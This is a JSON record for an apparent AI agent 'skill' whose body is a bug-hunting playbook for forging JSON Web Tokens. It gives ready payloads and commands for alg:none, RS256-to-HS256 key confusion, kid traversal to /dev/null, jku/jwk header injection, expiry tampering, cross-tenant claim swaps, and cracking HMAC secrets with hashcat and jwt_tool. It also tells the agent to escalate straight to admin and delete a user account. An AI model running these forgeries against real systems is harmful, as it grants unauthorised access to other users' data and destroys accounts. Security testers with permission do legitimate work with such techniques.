{"id":"hunt-jwt-crypto","name":"hunt-jwt-crypto","summary":"JWT暗号学的失敗 — alg:none署名剥奪とRS256→HS256鍵の混乱により、攻撃者が秘密を知らずに任意のアイデンティティ(例:管理者)のトークンを偽造できます。","body":"# HUNT-JWT-CRYPTO — Forgeable JSON Web Tokens (A04 Cryptographic Failures)\n\n## What actually pays\n\nA JWT is `header.payload.signature`, each base64url. The signature is the only\nthing stopping you from editing the payload (your identity/role) and replaying\nit. It pays **High/Critical** when the verifier can be tricked into accepting a\ntoken you forged — so you become another user or an admin without their secret.\n\nTwo classic, generic verifier flaws:\n\n- **`alg:none`** — the verifier trusts the token's own `alg` header. Set\n  `alg:\"none\"`, drop the signature, edit the payload (e.g. `role:\"admin\"`,\n  another user's `id`/`email`). A broken verifier skips signature checking.\n- **RS256 → HS256 key confusion** — the token is signed RS256 (asymmetric). The\n  RSA **public** key is, by definition, public. If the verifier lets you choose\n  HS256, it will use that public key as the HMAC *secret* — which you also know.\n  Sign an edited payload with HS256 using the public key and it validates.\n\n## Recon — is this app JWT-based?\n\n```\nLogin/token responses containing  \"token\":\"eyJ...\"   or  Set-Cookie: token=eyJ...\nAuthorization: Bearer eyJ...    on authenticated requests\nA JWKS / public-key endpoint:   /.well-known/jwks.json, /jwks, public-key in the JS bundle\n```\n\nDecode the header (base64url the first segment). `\"alg\":\"RS256\"` → try key\nconfusion. Any alg → always try `alg:none` first; it's free.\n\n## Forging the token (never hand-encode base64 — use a JWT tool)\n\nUse a purpose-built tool so encoding/signing is correct: **jwt_tool**\n(`jwt_tool <token> -T` to tamper interactively, `-X a` for alg:none, `-X k -pk\npublic.pem` for key confusion), Burp's **JWT Editor** extension, or a few lines\nof **PyJWT**. Each forge below is the concept plus the claim to edit.\n\n**alg:none — become admin / another user**\n```\nheader:    {\"alg\":\"none\",\"typ\":\"JWT\"}\npayload:   {\"data\":{\"id\":1,\"email\":\"admin@target.example\",\"role\":\"admin\"}}\nsignature: (empty — keep the trailing dot:  header.payload. )\n```\nSome verifiers reject lowercase `none` but accept `None`/`NONE`/`nOnE` — try case variants.\n\n**RS256 → HS256 key confusion — once you have the RSA public key**\n```\n1. Obtain the server's RSA public key as PEM. Sources: /jwks.json or\n   /.well-known/jwks.json (convert the JWK to PEM), a public-key file in the JS\n   bundle, or recover it from two captured tokens (e.g. jwt_tool / rsa_sign2n).\n2. Re-sign an EDITED payload with HS256, using that PEM as the HMAC secret:\n      jwt_tool <token> -X k -pk public.pem\n   payload edit:  {\"sub\":\"administrator\"}   (or role:\"admin\" / another user's id)\n```\n\n**kid header injection — verifier loads the HMAC key from a FILE named by `kid`**\n```\nheader:  {\"alg\":\"HS256\",\"kid\":\"../../../../../../../dev/null\"}\nsecret:  \"\"     (contents of /dev/null = empty string → sign HS256 with an empty secret)\npayload: {\"sub\":\"administrator\"}\n```\nTraverse out of the keys directory first. `kid` can also carry SQLi / command\ninjection / SSRF if the key lookup hits a DB / shell / URL — same idea: `kid` is\nattacker-controlled and reaches a dangerous sink.\n\n**jku / x5u header injection (RS256) — verifier fetches the public key from a URL in the token**\n```\n1. Host a JWKS containing a public key you control, on a server the verifier can reach.\n2. Set the token's `jku` (or `x5u`) header to that URL and sign the edited payload\n   with YOUR matching private key.\n3. If the verifier allowlists jku hosts, chain an open-redirect or SSRF-reachable\n   path on the target's OWN domain so the fetch resolves to your JWKS.\n```\n\n**jwk header self-signed key injection (RS256) — embed an attacker-controlled public key in the token**\n```\nheader:  {\"alg\":\"RS256\",\"jwk\":{\"kty\":\"RSA\",\"n\":\"<your_rsa_modulus>\",\"e\":\"AQAB\"}}\npayload: {\"sub\":\"administrator\"}\nsignature: (sign with your matching private key)\n```\nSome verifiers incorrectly trust a `jwk` (JSON Web Key) claim in the header and use it to validate the signature. Generate your own RSA keypair, embed the public key in the token header, sign with your private key, and send. Works when the verifier does not verify the key's provenance or allowlist.\n\n**Expiry / time-based claim manipulation**\n```\nRemove \"exp\" (expiration) claim entirely — many validators skip the check if absent.\nOr set \"nbf\" (not before) to the past and \"exp\" (expiration) to far future (e.g. year 2099).\nEdit payload: {\"sub\":\"administrator\",\"nbf\":1000000000,\"exp\":4102444800}\n```\nCombined with any forging technique above (alg:none, key confusion, jwk injection), this\nbypasses time-based validation when the verifier does not enforce strict expiry rules.\n\n**Cross-tenant claim injection — escalate to another tenant's data via claim swaps**\n```\nIdentify tenant-related claims in a decoded real token: \"org_id\", \"tenant\", \"account_id\",\n\"workspace_id\", \"customer_id\". Edit the target claim to another tenant's value.\nExample: {\"sub\":\"victim@org.com\",\"org_id\":1234} → change org_id to an admin's org (e.g. 9999).\n```\nThis is systematic IDOR via claims — if authorization logic trusts the token claims\nwithout checking ownership server-side, you cross into another tenant's resources.\nWorks especially well combined with alg:none or weak-secret attacks.\n\nMatch the `payload` shape to a REAL token from the app (decode one first) — keep\nits claim names, only change identity/role. A payload the app can't parse fails\nfor the wrong reason and wastes the attempt.\n\n## Offline attacks — weak HMAC secret cracking\n\nIf the token is HS256 (HMAC-based) and the secret is weak or reused from a known\npassword list:\n```bash\n# Hashcat: mode 16500 = JWT\nhashcat -a 0 -m 16500 <jwt_file> rockyou.txt\n\n# jwt_tool: built-in wordlist cracking\njwt_tool <token> -C -d wordlist.txt\n```\nOnce the secret is cracked, forge any token using HS256 with that secret (via\njwt_tool or PyJWT).\n\n## Automated attack automation\n\nUse purpose-built JWT attack suites to run all known forgery modes in parallel:\n```bash\n# jwt_tool: auto-try alg:none, key confusion, kid injection, etc.\njwt_tool <token> -X a\n\n# Nuclei: automated JWT vuln scanning\nnuclei -u <target_url> -t jwt/ -timeout 10s\n```\nRun these early in JWT recon; they often find the vulnerability faster than\nmanual chaining of individual techniques.\n\n## Drive to the ADMIN objective — do not stop at a working forge\n\nA forge that loads YOUR own `/my-account` is NOT the goal — it just proves the\nforge mechanism works. The objective is almost always **admin** (reach an\nadmin-only page and perform an admin action, e.g. delete a user). Once any forge\nis accepted, IMMEDIATELY escalate — change identity to admin AND aim at the admin\nendpoint. Do not keep re-forging `/my-account` or re-logging-in; that is drift.\n\nFixed escalation sequence (run it in order, do not loop on earlier steps):\n\n1. Forge admin identity and hit the admin page (try these claim names — match a\n   decoded real token: `sub`, `role`, `isAdmin`, `username`), e.g. an HS256 token\n   with `kid` pointed at `/dev/null` and an empty secret, payload `{\"sub\":\"administrator\"}`,\n   sent to `GET /admin`.\n2. When `/admin` returns 200 (you'll see admin controls / a delete link), perform\n   the admin action with the SAME forged token — a typical one is deleting a\n   target user account, e.g. `GET /admin/delete?username=<victimuser>` (some apps\n   use `POST /admin/delete` — read the admin page for the exact form/verb).\n\nA 401 on `/admin` means the forge/claim is wrong — change ONE thing (the kid\ndepth, the claim name/value, or alg) and retry `/admin`. Never retreat to a bare\nunauthenticated `GET /admin` (no token) — that always 401s and wastes effort.\n\n## Proof of impact\n\nPoint the forged token at a protected/admin endpoint and prove you read data you\nshould not: an account/user listing (multiple users' emails), another user's\nobject, or a completed admin action (the deleted-user confirmation). Reading the\nadmin user list or performing the admin action with a forged token IS the exploit.\nA 200 that returns only your own data, or a 401, is not proof.\n\n## Validation discipline\n\n- Decode and confirm the token you sent actually carries the edited claims.\n- The win is **cross-identity data access**, not merely a 200. Show the foreign\n  user data (e.g. other users' emails) in the response.\n- `alg:none` rejected (401) just means that flaw is patched — try key confusion\n  before concluding the app is safe.","author":"@elementalsouls","ownerProfile":null,"authorContacts":null,"sourceUrl":"https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-jwt-crypto","license":"MIT","category":"productivity","lang":"en","tokens":2153,"stars":0,"calls30d":2,"claimed":false,"visibility":"public","origin":"crawler","version":"0.1.0","createdAt":"2026-08-22","updatedAt":"2026-08-22","files":[],"requires":{"mcp":[],"tools":[]},"safety":{"flags":[],"scannedAt":"2026-08-22","hasScripts":false,"networkEndpoints":[]}}